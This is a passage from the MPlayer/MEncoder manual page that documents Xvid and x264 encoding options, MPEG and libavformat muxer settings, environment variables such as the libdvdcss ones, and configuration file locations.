Sets the type of quantizer to use. For high bitrates, you will find that MPEG quantization preserves more detail. For low bitrates, the smoothing of H.263 will give you less block noise. When using custom matrices, MPEG quantization mustbe used.
quant_intra_matrix=<filename>
Load a custom intra matrix file. You can build such a file with xvid4conf’s matrix editor.
quant_inter_matrix=<filename>
Load a custom inter matrix file. You can build such a file with xvid4conf’s matrix editor.
keyframe_boost=<0-1000> (two pass mode only)
Shift some bits from the pool for other frame types to intra frames, thus improving keyframe quality. This amount is an extra percentage, so a value of 10 will give your keyframes 10% more bits than normal (default: 0).
kfthreshold=<value> (two pass mode only)
Works together with kfreduction. Determines the minimum distance below which you consider that two frames are considered consecutive and treated differently according to kfreduction (default: 10).
kfreduction=<0-100> (two pass mode only)
The above two settings can be used to adjust the size of keyframes that you consider too close to the first (in a row). kfthreshold sets the range in which keyframes are reduced, and kfreduction determines the bitrate reduction they get. The last I-frame will get treated normally (default: 30).
max_bframes=<0-4>
Maximum number of B-frames to put between I/P-frames (default: 2).
bquant_ratio=<0-1000>
quantizer ratio between B- and non-B-frames, 150=1.50 (default: 150)
bquant_offset=<-1000-1000>
quantizer offset between B- and non-B-frames, 100=1.00 (default: 100)
bf_threshold=<-255-255>
This setting allows you to specify what priority to place on the use of B-frames. The higher the value, the higher the probability of B-frames being used (default: 0). Do not forget that B-frames usually have a higher quantizer, and therefore aggressive production of B-frames may cause worse visual quality.
(no)closed_gop
This option tells Xvid to close every GOP (Group Of Pictures bounded by two I-frames), which makes GOPs independent from each other. This just implies that the last frame of the GOP is either a P-frame or a N-frame but not a B-frame. It is usually a good idea to turn this option on (default: on).
(no)packed
This option is meant to solve frame-order issues when encoding to container formats like AVI that cannot cope with out-of-order frames. In practice, most decoders (both software and hardware) are able to deal with frame-order themselves, and may get confused when this option is turned on, so you can safely leave if off, unless you really know what you are doing.
WARNING: This will generate an illegal bitstream, and will not be decodable by ISO-MPEG-4 decoders except DivX/:libavcodec/:Xvid.
WARNING: This will also store a fake DivX version in the file so the bug autodetection of some decoders might be confused.
frame_drop_ratio=<0-100> (max_bframes=0 only)
This setting allows the creation of variable framerate video streams. The value of the setting specifies a threshold under which, if the difference of the following frame to the previous frame is below or equal to this threshold, a frame gets not coded (a so called n-vop is placed in the stream). On playback, when reaching an n-vop the previous frame will be displayed.
WARNING: Playing with this setting may result in a jerky video, so use it at your own risks!
rc_reaction_delay_factor=<value>
This parameter controls the number of frames the CBR rate controller will wait before reacting to bitrate changes and compensating for them to obtain a constant bitrate over an averaging range of frames.
rc_averaging_period=<value>
Real CBR is hard to achieve. Depending on the video material, bitrate can be variable, and hard to predict. Therefore Xvid uses an averaging period for which it guarantees a given amount of bits (minus a small variation). This settings expresses the “number of frames” for which Xvid averages bitrate and tries to achieve CBR.
rc_buffer=<value>
size of the rate control buffer
curve_compression_high=<0-100>
This setting allows Xvid to take a certain percentage of bits away from high bitrate scenes and give them back to the bit reservoir. You could also use this if you have a clip with so many bits allocated to high-bitrate scenes that the low(er)-bitrate scenes start to look bad (default: 0).
curve_compression_low=<0-100>
This setting allows Xvid to give a certain percentage of extra bits to the low bitrate scenes, taking a few bits from the entire clip. This might come in handy if you have a few low-bitrate scenes that are still blocky (default: 0).
overflow_control_strength=<0-100>
During pass one of two pass encoding, a scaled bitrate curve is computed. The difference between that expected curve and the result obtained during encoding is called overflow. Obviously, the two pass rate controller tries to compensate for that overflow, distributing it over the next frames. This setting controls how much of the overflow is distributed every time there is a new frame. Low values allow lazy overflow control, big rate bursts are compensated for more slowly (could lead to lack of precision for small clips). Higher values will make changes in bit redistribution more abrupt, possibly too abrupt if you set it too high, creating artifacts (default: 5).
NOTE: This setting impacts quality a lot, play with it carefully!
max_overflow_improvement=<0-100>
During the frame bit allocation, overflow control may increase the frame size. This parameter specifies the maximum percentage by which the overflow control is allowed to increase the frame size, compared to the ideal curve allocation (default: 5).
max_overflow_degradation=<0-100>
During the frame bit allocation, overflow control may decrease the frame size. This parameter specifies the maximum percentage by which the overflow control is allowed to decrease the frame size, compared to the ideal curve allocation (default: 5).
container_frame_overhead=<0…>
Specifies a frame average overhead per frame, in bytes. Most of the time users express their target bitrate for video w/o taking care of the video container overhead. This small but (mostly) constant overhead can cause the target file size to be exceeded. Xvid allows users to set the amount of overhead per frame the container generates (give only an average per frame). 0 has a special meaning, it lets Xvid use its own default values (default: 24 – AVI average overhead).
profile=<profile_name>
Restricts options and VBV (peak bitrate over a short period) according to the Simple, Advanced Simple and DivX profiles. The resulting videos should be playable on standalone players adhering to these profile specifications.

unrestricted
no restrictions (default)
sp0  
simple profile at level 0
sp1  
simple profile at level 1
sp2  
simple profile at level 2
sp3  
simple profile at level 3
asp0 
advanced simple profile at level 0
asp1 
advanced simple profile at level 1
asp2 
advanced simple profile at level 2
asp3 
advanced simple profile at level 3
asp4 
advanced simple profile at level 4
asp5 
advanced simple profile at level 5
dxnhandheld
DXN handheld profile
dxnportntsc
DXN portable NTSC profile
dxnportpal
DXN portable PAL profile
dxnhtntsc
DXN home theater NTSC profile
dxnhtpal
DXN home theater PAL profile
dxnhdtv
DXN HDTV profile
NOTE: These profiles should be used in conjunction with an appropriate -ffourcc. Generally DX50 is applicable, as some players do not recognize Xvid but most recognize DivX.
par=<mode>
Specifies the Pixel Aspect Ratio mode (not to be confused with DAR, the Display Aspect Ratio). PAR is the ratio of the width and height of a single pixel. So both are related like this: DAR = PAR * (width/height).
MPEG-4 defines 5 pixel aspect ratios and one extended one, giving the opportunity to specify a specific pixel aspect ratio. 5 standard modes can be specified:

vga11
It is the usual PAR for PC content. Pixels are a square unit.
pal43
PAL standard 4:3 PAR. Pixels are rectangles.
pal169
same as above
ntsc43
same as above
ntsc169
same as above (Do not forget to give the exact ratio.)
ext  
Allows you to specify your own pixel aspect ratio with par_width and par_height.
NOTE: In general, setting aspect and autoaspect options is enough.
par_width=<1-255> (par=ext only)
Specifies the width of the custom pixel aspect ratio.
par_height=<1-255> (par=ext only)
Specifies the height of the custom pixel aspect ratio.
aspect=<x/y | f (float value)>
Store movie aspect internally, just like MPEG files. Much nicer solution than rescaling, because quality is not decreased. MPlayer and a few others players will play these files correctly, others will display them with the wrong aspect. The aspect parameter can be given as a ratio or a floating point number.
(no)autoaspect
Same as the aspect option, but automatically computes aspect, taking into account all the adjustments (crop/:expand/:scale/:etc.) made in the filter chain.
psnr   
Print the PSNR (peak signal to noise ratio) for the whole video after encoding and store the per frame PSNR in a file with a name like ‘psnr_hhmmss.log’ in the current directory. Returned values are in dB (decibel), the higher the better.
debug  
Save per-frame statistics in ./xvid.dbg. (This is not the two pass control file.)

The following option is only available in Xvid 1.1.x.

bvhq=<0|1>
This setting allows vector candidates for B-frames to be used for the encoding chosen using a rate distortion optimized operator, which is what is done for P-frames by the vhq option. This produces nicer-looking B-frames while incurring almost no performance penalty (default: 1).

The following option is only available in the 1.2.x version of Xvid.

threads=<0-n>
Create n threads to run the motion estimation (default: 0). The maximum number of threads that can be used is the picture height divided by 16.

x264enc (-x264encopts)

bitrate=<value>
Sets the average bitrate to be used in kbits/:second (default: off). Since local bitrate may vary, this average may be inaccurate for very short videos (see ratetol). Constant bitrate can be achieved by combining this with vbv_maxrate, at significant reduction in quality.
qp=<0-51>
This selects the quantizer to use for P-frames. I- and B-frames are offset from this value by ip_factor and pb_factor, respectively. 20-40 is a useful range. Lower values result in better fidelity, but higher bitrates. 0 is lossless. Note that quantization in H.264 works differently from MPEG-1/2/4: H.264’s quantization parameter (QP) is on a logarithmic scale. The mapping is approximately H264QP = 12 + 6*log2(MPEGQP). For example, MPEG at QP=2 is equivalent to H.264 at QP=18.
crf=<1.0-50.0>
Enables constant quality mode, and selects the quality. The scale is similar to QP. Like the bitrate-based modes, this allows each frame to use a different QP based on the frame’s complexity.
pass=<1-3>
Enable 2 or 3-pass mode. It is recommended to always encode in 2 or 3-pass mode as it leads to a better bit distribution and improves overall quality.

1
first pass
2
second pass (of two pass encoding)
3
Nth pass (second and third passes of three pass encoding)
Here is how it works, and how to use it:
The first pass (pass=1) collects statistics on the video and writes them to a file. You might want to deactivate some CPU-hungry options, apart from the ones that are on by default.
In two pass mode, the second pass (pass=2) reads the statistics file and bases ratecontrol decisions on it.
In three pass mode, the second pass (pass=3, that is not a typo) does both: It first reads the statistics, then overwrites them. You can use all encoding options, except very CPU-hungry options.
The third pass (pass=3) is the same as the second pass, except that it has the second pass’ statistics to work from. You can use all encoding options, including CPU-hungry ones.
The first pass may use either average bitrate or constant quantizer. ABR is recommended, since it does not require guessing a quantizer. Subsequent passes are ABR, and must specify bitrate.
turbo=<0-2>
Fast first pass mode. During the first pass of a two or more pass encode it is possible to gain speed by disabling some options with negligible or even no impact on the final pass output quality.

0
disabled (default)
1
Reduce subq, frameref and disable some inter-macroblock partition analysis modes.
2
Reduce subq and frameref to 1, use a diamond ME search and disable all partition analysis modes.
Level 1 can increase first pass speed up to 2x with no change in the global PSNR of the final pass compared to a full quality first pass.
Level 2 can increase first pass speed up to 4x with about +/- 0.05dB change in the global PSNR of the final pass compared to a full quality first pass.
keyint=<value>
Sets maximum interval between IDR-frames (default: 250). Larger values save bits, thus improve quality, at the cost of seeking precision. Unlike MPEG-1/2/4, H.264 does not suffer from DCT drift with large values of keyint.
keyint_min=<1-keyint/2>
Sets minimum interval between IDR-frames (default: 25). If scenecuts appear within this interval, they are still encoded as I-frames, but do not start a new GOP. In H.264, I-frames do not necessarily bound a closed GOP because it is allowable for a P-frame to be predicted from more frames than just the one frame before it (also see frameref). Therefore, I-frames are not necessarily seekable. IDR-frames restrict subsequent P-frames from referring to any frame prior to the IDR-frame.
scenecut=<-1-100>
Controls how aggressively to insert extra I-frames (default: 40). With small values of scenecut, the codec often has to force an I-frame when it would exceed keyint. Good values of scenecut may find a better location for the I-frame. Large values use more I-frames than necessary, thus wasting bits. -1 disables scene-cut detection, so I-frames are inserted only once every other keyint frames, even if a scene-cut occurs earlier. This is not recommended and wastes bitrate as scenecuts encoded as P-frames are just as big as I-frames, but do not reset the “keyint counter”.
frameref=<1-16>
Number of previous frames used as predictors in B- and P-frames (default: 1). This is effective in anime, but in live-action material the improvements usually drop off very rapidly above 6 or so reference frames. This has no effect on decoding speed, but does increase the memory needed for decoding. Some decoders can only handle a maximum of 15 reference frames.
bframes=<0-16>
maximum number of consecutive B-frames between I- and P-frames (default: 0)
(no)b_adapt
Automatically decides when to use B-frames and how many, up to the maximum specified above (default: on). If this option is disabled, then the maximum number of B-frames is used.
b_bias=<-100-100>
Controls the decision performed by b_adapt. A higher b_bias produces more B-frames (default: 0).
(no)b_pyramid
Allows B-frames to be used as references for predicting other frames. For example, consider 3 consecutive B-frames: I0 B1 B2 B3 P4. Without this option, B-frames follow the same pattern as MPEG-[124]. So they are coded in the order I0 P4 B1 B2 B3, and all the B-frames are predicted from I0 and P4. With this option, they are coded as I0 P4 B2 B1 B3. B2 is the same as above, but B1 is predicted from I0 and B2, and B3 is predicted from B2 and P4. This usually results in slightly improved compression, at almost no speed cost. However, this is an experimental option: it is not fully tuned and may not always help. Requires bframes >= 2. Disadvantage: increases decoding delay to 2 frames.
(no)deblock
Use deblocking filter (default: on). As it takes very little time compared to its quality gain, it is not recommended to disable it.
deblock=<-6-6>,<-6-6>
The first parameter is AlphaC0 (default: 0). This adjusts thresholds for the H.264 in-loop deblocking filter. First, this parameter adjusts the maximum amount of change that the filter is allowed to cause on any one pixel. Secondly, this parameter affects the threshold for difference across the edge being filtered. A positive value reduces blocking artifacts more, but will also smear details.
The second parameter is Beta (default: 0). This affects the detail threshold. Very detailed blocks are not filtered, since the smoothing caused by the filter would be more noticeable than the original blocking.
The default behavior of the filter almost always achieves optimal quality, so it is best to either leave it alone, or make only small adjustments. However, if your source material already has some blocking or noise which you would like to remove, it may be a good idea to turn it up a little bit.
(no)cabac
Use CABAC (Context-Adaptive Binary Arithmetic Coding) (default: on). Slightly slows down encoding and decoding, but should save 10-15% bitrate. Unless you are looking for decoding speed, you should not disable it.
qp_min=<1-51> (ABR or two pass)
Minimum quantizer, 10-30 seems to be a useful range (default: 10).
qp_max=<1-51> (ABR or two pass)
maximum quantizer (default: 51)
qp_step=<1-50> (ABR or two pass)
maximum value by which the quantizer may be incremented/decremented between frames (default: 4)
ratetol=<0.1-100.0> (ABR or two pass)
allowed variance in average bitrate (no particular units) (default: 1.0)
vbv_maxrate=<value> (ABR or two pass)
maximum local bitrate, in kbits/:second (default: disabled)
vbv_bufsize=<value> (ABR or two pass)
averaging period for vbv_maxrate, in kbits (default: none, must be specified if vbv_maxrate is enabled)
vbv_init=<0.0-1.0> (ABR or two pass)
initial buffer occupancy, as a fraction of vbv_bufsize (default: 0.9)
ip_factor=<value>
quantizer factor between I- and P-frames (default: 1.4)
pb_factor=<value>
quantizer factor between P- and B-frames (default: 1.3)
qcomp=<0-1> (ABR or two pass)
quantizer compression (default: 0.6). A lower value makes the bitrate more constant, while a higher value makes the quantization parameter more constant.
cplx_blur=<0-999> (two pass only)
Temporal blur of the estimated frame complexity, before curve compression (default: 20). Lower values allow the quantizer value to jump around more, higher values force it to vary more smoothly. cplx_blur ensures that each I-frame has quality comparable to the following P-frames, and ensures that alternating high and low complexity frames (e.g. low fps animation) do not waste bits on fluctuating quantizer.
qblur=<0-99> (two pass only)
Temporal blur of the quantization parameter, after curve compression (default: 0.5). Lower values allow the quantizer value to jump around more, higher values force it to vary more smoothly.
zones=<zone0>[/<zone1>[/…]]
User specified quality for specific parts (ending, credits, …). Each zone is <start-frame>,<end-frame>,<option> where option may be

q=<0-51>
quantizer
b=<0.01-100.0>
bitrate multiplier
NOTE: The quantizer option is not strictly enforced. It affects only the planning stage of ratecontrol, and is still subject to overflow compensation and qp_min/qp_max.
direct_pred=<name>
Determines the type of motion prediction used for direct macroblocks in B-frames.

none
Direct macroblocks are not used.
spatial
Motion vectors are extrapolated from neighboring blocks. (default)
temporal
Motion vectors are interpolated from the following P-frame.
auto
The codec selects between spatial and temporal for each frame.
Spatial and temporal are approximately the same speed and PSNR, the choice between them depends on the video content. Auto is slightly better, but slower. Auto is most effective when combined with multipass. direct_pred=none is both slower and lower quality.
(no)weight_b
Use weighted prediction in B-frames. Without this option, bidirectionally predicted macroblocks give equal weight to each reference frame. With this option, the weights are determined by the temporal position of the B-frame relative to the references. Requires bframes > 1.
partitions=<list>
Enable some optional macroblock types (default: p8x8,b8x8,i8x8,i4x4).

p8x8
Enable types p16x8, p8x16, p8x8.
p4x4
Enable types p8x4, p4x8, p4x4. p4x4 is recommended only with subq >= 5, and only at low resolutions.
b8x8
Enable types b16x8, b8x16, b8x8.
i8x8
Enable type i8x8. i8x8 has no effect unless 8x8dct is enabled.
i4x4
Enable type i4x4.
all
Enable all of the above types.
none
Disable all of the above types.
Regardless of this option, macroblock types p16x16, b16x16, and i16x16 are always enabled.
The idea is to find the type and size that best describe a certain area of the picture. For example, a global pan is better represented by 16×16 blocks, while small moving objects are better represented by smaller blocks.
(no)8x8dct
Adaptive spatial transform size: allows macroblocks to choose between 4×4 and 8×8 DCT. Also allows the i8x8 macroblock type. Without this option, only 4×4 DCT is used.
me=<name>
Select fullpixel motion estimation algorithm.

dia
diamond search, radius 1 (fast)
hex
hexagon search, radius 2 (default)
umh
uneven multi-hexagon search (slow)
esa
exhaustive search (very slow, and no better than umh)
me_range=<4-64>
radius of exhaustive or multi-hexagon motion search (default: 16)
subq=<1-7>
Adjust subpel refinement quality. This parameter controls quality versus speed tradeoffs involved in the motion estimation decision process. subq=5 can compress up to 10% better than subq=1.

1
Runs fullpixel precision motion estimation on all candidate macroblock types. Then selects the best type. Then refines the motion of that type to fast quarterpixel precision (fastest).
2
Runs halfpixel precision motion estimation on all candidate macroblock types. Then selects the best type. Then refines the motion of that type to fast quarterpixel precision.
3
As 2, but uses a slower quarterpixel refinement.
4
Runs fast quarterpixel precision motion estimation on all candidate macroblock types. Then selects the best type. Then finishes the quarterpixel refinement for that type.
5
Runs best quality quarterpixel precision motion estimation on all candidate macroblock types, before selecting the best type (default).
6
Enables rate-distortion optimization of macroblock types in I- and P-frames.
7
Enables rate-distortion optimization of motion vectors and intra modes. (best)
In the above, “all candidates” does not exactly mean all enabled types: 4×4, 4×8, 8×4 are tried only if 8×8 is better than 16×16.
(no)chroma_me
Takes into account chroma information during subpixel motion search (default: enabled). Requires subq>=5.
(no)mixed_refs
Allows each 8×8 or 16×8 motion partition to independently select a reference frame. Without this option, a whole macroblock must use the same reference. Requires frameref>1.
(no)brdo
Enables rate-distortion optimization of macroblock types in B-frames. Requires subq>=6.
(no)bime
Refine the two motion vectors used in bidirectional macroblocks, rather than re-using vectors from the forward and backward searches. This option has no effect without B-frames.
trellis=<0-2>
rate-distortion optimal quantization

0
disabled (default)
1
enabled only for the final encode
2
enabled during all mode decisions (slow, requires subq>=6)
deadzone_inter=<0-32>
Set the size of the inter luma quantization deadzone for non-trellis quantization (default: 21). Lower values help to preserve fine details and film grain (typically useful for high bitrate/quality encode), while higher values help filter out these details to save bits that can be spent again on other macroblocks and frames (typically useful for bitrate-starved encodes). It is recommended that you start by tweaking deadzone_intra before changing this parameter.
deadzone_intra=<0-32>
Set the size of the intra luma quantization deadzone for non-trellis quantization (default: 11). This option has the same effect as deadzone_inter except that it affects intra frames. It is recommended that you start by tweaking this parameter before changing deadzone_inter.
(no)fast_pskip
Performs early skip detection in P-frames (default: enabled). This usually improves speed at no cost, but it can sometimes produce artifacts in areas with no details, like sky.
(no)dct_decimate
Eliminate dct blocks in P-frames containing only a small single coefficient (default: enabled). This will remove some details, so it will save bits that can be spent again on other frames, hopefully raising overall subjective quality. If you are compressing non-anime content with a high target bitrate, you may want to disable this to preserve as much detail as possible.
nr=<0-100000>
Noise reduction, 0 means disabled. 100-1000 is a useful range for typical content, but you may want to turn it up a bit more for very noisy content (default: 0). Given its small impact on speed, you might want to prefer to use this over filtering noise away with video filters like denoise3d or hqdn3d.
chroma_qp_offset=<-12-12>
Use a different quantizer for chroma as compared to luma. Useful values are in the range <-2-2> (default: 0).
cqm=<flat|jvt|<filename>>
Either uses a predefined custom quantization matrix or loads a JM format matrix file.

flat 
Use the predefined flat 16 matrix (default).
jvt  
Use the predefined JVT matrix.
<filename>
Use the provided JM format matrix file.
NOTE: Windows CMD.EXE users may experience problems with parsing the command line if they attempt to use all the CQM lists. This is due to a command line length limitation. In this case it is recommended the lists be put into a JM format CQM file and loaded as specified above.
cqm4iy=<list> (also see cqm)
Custom 4×4 intra luminance matrix, given as a list of 16 comma separated values in the 1-255 range.
cqm4ic=<list> (also see cqm)
Custom 4×4 intra chrominance matrix, given as a list of 16 comma separated values in the 1-255 range.
cqm4py=<list> (also see cqm)
Custom 4×4 inter luminance matrix, given as a list of 16 comma separated values in the 1-255 range.
cqm4pc=<list> (also see cqm)
Custom 4×4 inter chrominance matrix, given as a list of 16 comma separated values in the 1-255 range.
cqm8iy=<list> (also see cqm)
Custom 8×8 intra luminance matrix, given as a list of 64 comma separated values in the 1-255 range.
cqm8py=<list> (also see cqm)
Custom 8×8 inter luminance matrix, given as a list of 64 comma separated values in the 1-255 range.
level_idc=<10-51>
Set the bitstream’s level as defined by annex A of the H.264 standard (default: 51 – Level 5.1). This is used for telling the decoder what capabilities it needs to support. Use this parameter only if you know what it means, and you have a need to set it.
threads=<0-16>
Spawn threads to encode in parallel on multiple CPUs (default: 1). This has a slight penalty to compression quality. 0 or ‘auto’ tells x264 to detect how many CPUs you have and pick an appropriate number of threads.
(no)global_header
Causes SPS and PPS to appear only once, at the beginning of the bitstream (default: disabled). Some players, such as the Sony PSP, require the use of this option. The default behavior causes SPS and PPS to repeat prior to each IDR frame.
(no)interlaced
Treat the video content as interlaced.
log=<-1-3>
Adjust the amount of logging info printed to the screen.

-1
none
0
Print errors only.
1
warnings
2
PSNR and other analysis statistics when the encode finishes (default)
3
PSNR, QP, frametype, size, and other statistics for every frame
(no)psnr
Print signal-to-noise ratio statistics.
NOTE: The ‘Y’, ‘U’, ‘V’, and ‘Avg’ PSNR fields in the summary are not mathematically sound (they are simply the average of per-frame PSNRs). They are kept only for comparison to the JM reference codec. For all other purposes, please use either the ‘Global’ PSNR, or the per-frame PSNRs printed by log=3.
(no)ssim
Print the Structural Similarity Metric results. This is an alternative to PSNR, and may be better correlated with the perceived quality of the compressed video.
(no)visualize
Enable x264 visualizations during encoding. If the x264 on your system supports it, a new window will be opened during the encoding process, in which x264 will attempt to present an overview of how each frame gets encoded. Each block type on the visualized movie will be colored as follows:

red/pink
intra block
blue 
inter block
green
skip block
yellow
B-block
This feature can be considered experimental and subject to change. In particular, it depends on x264 being compiled with visualizations enabled. Note that as of writing this, x264 pauses after encoding and visualizing each frame, waiting for the user to press a key, at which point the next frame will be encoded.

xvfw (-xvfwopts)

Encoding with Video for Windows codecs is mostly obsolete unless you wish to encode to some obscure fringe codec.

codec=<name>
The name of the binary codec file with which to encode.
compdata=<file>
The name of the codec settings file (like firstpass.mcf) created by vfw2menc.

MPEG muxer (-mpegopts)

The MPEG muxer can generate 5 types of streams, each of which has reasonable default parameters that the user can override. Generally, when generating MPEG files, it is advisable to disable MEncoder’s frame-skip code (see -noskip, -mc as well as the harddup and softskip video filters).

EXAMPLE:

format=mpeg2:tsaf:vbitrate=8000
format=<mpeg1 | mpeg2 | xvcd | xsvcd | dvd | pes1 | pes2>
stream format (default: mpeg2). pes1 and pes2 are very broken formats (no pack header and no padding), but VDR uses them; do not choose them unless you know exactly what you are doing.
size=<up to 65535>
Pack size in bytes, do not change unless you know exactly what you are doing (default: 2048).
muxrate=<int>
Nominal muxrate in kbit/s used in the pack headers (default: 1800 kb/s). Will be updated as necessary in the case of ‘format=mpeg1’ or ‘mpeg2’.
tsaf   
Sets timestamps on all frames, if possible; recommended when format=dvd. If dvdauthor complains with a message like “..audio sector out of range…”, you probably did not enable this option.
interleaving2
Uses a better algorithm to interleave audio and video packets, based on the principle that the muxer will always try to fill the stream with the largest percentage of free space.
vdelay=<1-32760>
Initial video delay time, in milliseconds (default: 0), use it if you want to delay video with respect to audio. It doesn’t work with :drop.
adelay=<1-32760>
Initial audio delay time, in milliseconds (default: 0), use it if you want to delay audio with respect to video.
drop   
When used with vdelay the muxer drops the part of audio that was anticipated.
vwidth, vheight=<1-4095>
Set the video width and height when video is MPEG-1/2.
vpswidth, vpsheight=<1-4095>
Set pan and scan video width and height when video is MPEG-2.
vaspect=<1 | 4/3 | 16/9 | 221/100>
Sets the display aspect ratio for MPEG-2 video. Do not use it on MPEG-1 or the resulting aspect ratio will be completely wrong.
vbitrate=<int>
Sets the video bitrate in kbit/s for MPEG-1/2 video.
vframerate=<24000/1001 | 24 | 25 | 30000/1001 | 30 | 50 | 60000/1001 | 60 >
Sets the framerate for MPEG-1/2 video. This option will be ignored if used with the telecine option.
telecine
Enables 3:2 pulldown soft telecine mode: The muxer will make the video stream look like it was encoded at 30000/1001 fps. It only works with MPEG-2 video when the output framerate is 24000/1001 fps, convert it with -ofps if necessary. Any other framerate is incompatible with this option.
film2pal
Enables FILM to PAL and NTSC to PAL soft telecine mode: The muxer will make the video stream look like it was encoded at 25 fps. It only works with MPEG-2 video when the output framerate is 24000/1001 fps, convert it with -ofps if necessary. Any other framerate is incompatible with this option.
tele_src and tele_dest
Enables arbitrary telecining using Donand Graft’s DGPulldown code. You need to specify the original and the desired framerate; the muxer will make the video stream look like it was encoded at the desired framerate. It only works with MPEG-2 video when the input framerate is smaller than the output framerate and the framerate increase is <= 1.5.

EXAMPLE:
tele_src=25,tele_dest=30000/1001
PAL to NTSC telecining
vbuf_size=<40-1194>
Sets the size of the video decoder’s buffer, expressed in kilobytes. Specify it only if the bitrate of the video stream is too high for the chosen format and if you know perfectly well what you are doing. A too high value may lead to an unplayable movie, depending on the player’s capabilities. When muxing HDTV video a value of 400 should suffice.
abuf_size=<4-64>
Sets the size of the audio decoder’s buffer, expressed in kilobytes. The same principle as for vbuf_size applies.

FFmpeg libavformat demuxers (-lavfdopts)

analyzeduration=<value>
Maximum length in seconds to analyze the stream properties.
format=<value>
Force a specific libavformat demuxer.
probesize=<value>
Maximum amount of data to probe during the detection phase. In the case of MPEG-TS this value identifies the maximum number of TS packets to scan.

FFmpeg libavformat muxers (-lavfopts) (also see -of lavf)

delay=<value>
Currently only meaningful for MPEG[12]: Maximum allowed distance, in seconds, between the reference timer of the output stream (SCR) and the decoding timestamp (DTS) for any stream present (demux to decode delay). Default is 0.7 (as mandated by the standards defined by MPEG). Higher values require larger buffers and must not be used.
format=<container_format>
Override which container format to mux into (default: autodetect from output file extension).

mpg  
MPEG-1 systems and MPEG-2 PS
asf  
Advanced Streaming Format
avi  
Audio Video Interleave file
wav  
Waveform Audio
swf  
Macromedia Flash
flv  
Macromedia Flash video files
rm   
RealAudio and RealVideo
au   
SUN AU format
nut  
NUT open container format (experimental)
mov  
QuickTime
mp4  
MPEG-4 format
dv   
Sony Digital Video container
muxrate=<rate>
Nominal bitrate of the multiplex, in bits per second; currently it is meaningful only for MPEG[12]. Sometimes raising it is necessary in order to avoid “buffer underflows”.
packetsize=<size>
Size, expressed in bytes, of the unitary packet for the chosen format. When muxing to MPEG[12] implementations the default values are: 2324 for [S]VCD, 2048 for all others formats.
preload=<distance>
Currently only meaningful for MPEG[12]: Initial distance, in seconds, between the reference timer of the output stream (SCR) and the decoding timestamp (DTS) for any stream present (demux to decode delay).

ENVIRONMENT VARIABLES

There are a number of environment variables that can be used to control the behavior of MPlayer and MEncoder.

MPLAYER_CHARSET (also see -msgcharset)
Convert console messages to the specified charset (default: autodetect). A value of “noconv” means no conversion.
MPLAYER_HOME
Directory where MPlayer looks for user settings.
MPLAYER_VERBOSE (also see -v and -msglevel)
Set the initial verbosity level across all message modules (default: 0). The resulting verbosity corresponds to that of -msglevel 5 plus the value of MPLAYER_VERBOSE.

libaf:

LADSPA_PATH
If LADSPA_PATH is set, it searches for the specified file. If it is not set, you must supply a fully specified pathname. FIXME: This is also mentioned in the ladspa section.

libdvdcss:

DVDCSS_CACHE
Specify a directory in which to store title key values. This will speed up descrambling of DVDs which are in the cache. The DVDCSS_CACHE directory is created if it does not exist, and a subdirectory is created named after the DVD’s title or manufacturing date. If DVDCSS_CACHE is not set or is empty, libdvdcss will use the default value which is “${HOME}/.dvdcss/” under Unix and “C:\Documents and Settings\$USER\Application Data\dvdcss\” under Win32. The special value “off” disables caching.
DVDCSS_METHOD
Sets the authentication and decryption method that libdvdcss will use to read scrambled discs. Can be one of title, key or disc.

key  
is the default method. libdvdcss will use a set of calculated player keys to try and get the disc key. This can fail if the drive does not recognize any of the player keys.
disc 
is a fallback method when key has failed. Instead of using player keys, libdvdcss will crack the disc key using a brute force algorithm. This process is CPU intensive and requires 64 MB of memory to store temporary data.
title
is the fallback when all other methods have failed. It does not rely on a key exchange with the DVD drive, but rather uses a crypto attack to guess the title key. On rare cases this may fail because there is not enough encrypted data on the disc to perform a statistical attack, but in the other hand it is the only way to decrypt a DVD stored on a hard disc, or a DVD with the wrong region on an RPC2 drive.
DVDCSS_RAW_DEVICE
Specify the raw device to use. Exact usage will depend on your operating system, the Linux utility to set up raw devices is raw(8) for instance. Please note that on most operating systems, using a raw device requires highly aligned buffers: Linux requires a 2048 bytes alignment (which is the size of a DVD sector).
DVDCSS_VERBOSE
Sets the libdvdcss verbosity level.

0
Outputs no messages at all.
1
Outputs error messages to stderr.
2
Outputs error messages and debug messages to stderr.
DVDREAD_NOKEYS
Skip retrieving all keys on startup. Currently disabled.
HOME
FIXME: Document this.

libao2:

AO_SUN_DISABLE_SAMPLE_TIMING
FIXME: Document this.
AUDIODEV
FIXME: Document this.
AUDIOSERVER
Specifies the Network Audio System server to which the nas audio output driver should connect and the transport that should be used. If unset DISPLAY is used instead. The transport can be one of tcp and unix. Syntax is tcp/<somehost>:<someport>, <somehost>:<instancenumber> or [unix]:<instancenumber>. The NAS base port is 8000 and <instancenumber> is added to that.

EXAMPLES:
AUDIOSERVER=somehost:0
Connect to NAS server on somehost using default port and transport.
AUDIOSERVER=tcp/somehost:8000
Connect to NAS server on somehost listening on TCP port 8000.
AUDIOSERVER=(unix)?:0
Connect to NAS server instance 0 on localhost using unix domain sockets.
DISPLAY
FIXME: Document this.

vidix:

VIDIX_CRT
FIXME: Document this.

osdep:

TERM
FIXME: Document this.

libvo:

DISPLAY
FIXME: Document this.
FRAMEBUFFER
FIXME: Document this.
HOME
FIXME: Document this.

libmpdemux:

HOME
FIXME: Document this.
HOMEPATH
FIXME: Document this.
http_proxy
FIXME: Document this.
LOGNAME
FIXME: Document this.
USERPROFILE
FIXME: Document this.

libmpcodecs:

XANIM_MOD_DIR
FIXME: Document this.

GUI:

CHARSET
FIXME: Document this.
DISPLAY
FIXME: Document this.
HOME
FIXME: Document this.

libavformat:

AUDIO_FLIP_LEFT
FIXME: Document this.
BKTR_DEV
FIXME: Document this.
BKTR_FORMAT
FIXME: Document this.
BKTR_FREQUENCY
FIXME: Document this.
http_proxy
FIXME: Document this.
no_proxy
FIXME: Document this.

FILES

/usr/:local/:etc/:mplayer/:mplayer.conf
MPlayer system-wide settings
/usr/:local/:etc/:mplayer/:mencoder.conf
MEncoder system-wide settings
~/.mplayer/:config
MPlayer user settings
~/.mplayer/:mencoder.conf
MEncoder user settings
~/.mplayer/:input.conf
input bindings (see ‘-input keylist’ for the full list)
~/.mplayer/:gui.conf
GUI configuration file
~/.mplayer/:gui.pl
GUI playlist
~/.mplayer/:font/
font directory (There must be a font.desc file and files with .RAW extension.)
~/.mplayer/:DVDkeys/
cached CSS keys
Assuming that /path/:to/:movie.avi is played, MPlayer searches for sub files
in this order:

/path/:to/:movie.sub
~/.mplayer/:sub/:movie.sub

EXAMPLES OF MPLAYER USAGE

Quickstart DVD playing:

mplayer dvd://1

